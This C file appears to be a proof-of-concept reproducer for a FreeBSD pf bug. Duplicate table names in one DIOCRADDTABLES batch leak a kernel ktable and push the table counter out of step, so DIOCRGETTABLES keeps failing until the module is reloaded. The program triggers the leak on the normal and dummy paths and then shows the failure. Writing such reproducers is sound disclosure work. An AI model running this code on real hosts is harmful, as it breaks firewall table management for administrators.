/*
 * DF-3339 - pfr_add_tables() leaks the second ktable of a duplicate batch
 * and permanently drifts rs->tables, breaking DIOCRGETTABLES (ENOTTY
 * "corruption detected") until reboot/module reload.
 *
 * Root cause: sys/net/pf/pf_table.c pfr_add_tables():1170-1182
 *   when the i-th element of the batch is a duplicate of one already
 *   queued in addq, pfr_create_ktable() has ALREADY run (allocating the
 *   ktable + 2 radix heads + incrementing rs->tables) and the
 *   `goto _skip` discards the pointer -- never inserted, never freed.
 *
 * requires root (/dev/pf is 0600 root:wheel) - matches DF-0362 threat model.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <net/if.h>
#include <net/pf/pfvar.h>

int
main(void)
{
	int fd, rc, i;

	fd = open("/dev/pf", O_RDWR);
	if (fd < 0) {
		printf("open /dev/pf: %s (kldload pf; run as root)\n",
		    strerror(errno));
		return (1);
	}

	/*
	 * 1) DIOCRADDTABLES with a batch containing the SAME table twice.
	 */
	{
		struct {
			struct pfioc_table io;
			struct pfr_table t[2];
		} x;
		memset(&x, 0, sizeof(x));
		strlcpy(x.t[0].pfrt_name, "leakdup1",
		    sizeof(x.t[0].pfrt_name));
		x.t[1] = x.t[0];
		x.io.pfrio_buffer = x.t;
		x.io.pfrio_esize = sizeof(struct pfr_table);
		x.io.pfrio_size = 2;
		errno = 0;
		rc = ioctl(fd, DIOCRADDTABLES, &x.io);
		printf("[1] DIOCRADDTABLES([leakdup1,leakdup1]) rc=%d "
		    "errno=%d nadd=%d\n", rc, errno, x.io.pfrio_nadd);
	}

	/*
	 * 2) Same thing with PFR_FLAG_DUMMY (leaks on the dummy path too).
	 */
	{
		struct {
			struct pfioc_table io;
			struct pfr_table t[2];
		} x;
		memset(&x, 0, sizeof(x));
		strlcpy(x.t[0].pfrt_name, "leakdup2",
		    sizeof(x.t[0].pfrt_name));
		x.t[1] = x.t[0];
		x.io.pfrio_buffer = x.t;
		x.io.pfrio_esize = sizeof(struct pfr_table);
		x.io.pfrio_size = 2;
		x.io.pfrio_flags = PFR_FLAG_DUMMY;
		errno = 0;
		rc = ioctl(fd, DIOCRADDTABLES, &x.io);
		printf("[2] DIOCRADDTABLES(dummy,[leakdup2,leakdup2]) rc=%d "
		    "errno=%d nadd=%d\n", rc, errno, x.io.pfrio_nadd);
	}

	/*
	 * 3) DIOCRGETTABLES: pf_main_ruleset.tables is now 4 (1 real +
	 * 3 leaked) but the RB tree holds 1 -> "corruption detected",
	 * ENOTTY.  This persists until pf.ko is unloaded.
	 */
	{
		struct {
			struct pfioc_table io;
			struct pfr_table t[16];
		} g;
		memset(&g, 0, sizeof(g));
		g.io.pfrio_buffer = g.t;
		g.io.pfrio_esize = sizeof(struct pfr_table);
		g.io.pfrio_size = 16;
		errno = 0;
		rc = ioctl(fd, DIOCRGETTABLES, &g.io);
		printf("[3] DIOCRGETTABLES rc=%d errno=%d (%s) size=%d\n",
		    rc, errno, errno == ENOTTY ? "ENOTTY -- corruption "
		    "detected, table listing broken" : strerror(errno),
		    g.io.pfrio_size);
		if (rc == 0)
			for (i = 0; i < g.io.pfrio_size; i++)
				printf("    table[%d] = %s\n", i,
				    g.t[i].pfrt_name);
	}

	return (0);
}
